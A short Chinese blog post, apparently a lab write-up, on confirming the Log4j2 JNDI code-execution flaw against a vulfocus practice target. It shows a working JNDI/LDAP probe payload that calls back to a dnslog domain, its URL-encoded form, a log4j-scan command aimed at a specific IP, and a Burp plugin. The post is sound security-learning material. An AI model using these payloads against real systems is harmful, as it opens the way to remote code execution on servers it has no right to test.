log4j2代码执行漏洞
验证网站是否存在log4j2漏洞的方法~~
一、描述
log4j2是一个基于Java的日志记录框架。在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。只要日志内容中包含关键词 ${,那么这里面包含的内容就可以作为变量进行替换,攻击者无需任何权限,可以执行任意命令。
二、验证漏洞是否存在
这里我使用的是vulfocus平台上面的一个log4j2的靶场
方法一:dnslog验证
1、先通过dnslog获得一个域名
构造poc:
1 | ${jndi:ldap://o8ll0b.dnslog.cn} |
2、用url方式提交payload参数
构造payload:换成url形式:
1 | payload=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%6f%38%6c%6c%30%62%2e%64%6e%73%6c%6f%67%2e%63%6e%7d |

3、回到dnslog refresh record刷新列表,可以看到dns的查询记录,证明漏洞存在。

方法二:使用工具
使用工具log4j-scan,使用命令:
1 | python log4j-scan -u http://123.58.224.8:57302/hello?payload=111 |

方法三:使用burp插件
用burp抓包之后,发送到log4j2 RCE插件,如果有漏洞,则会自动产生请求和响应。

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 echozt!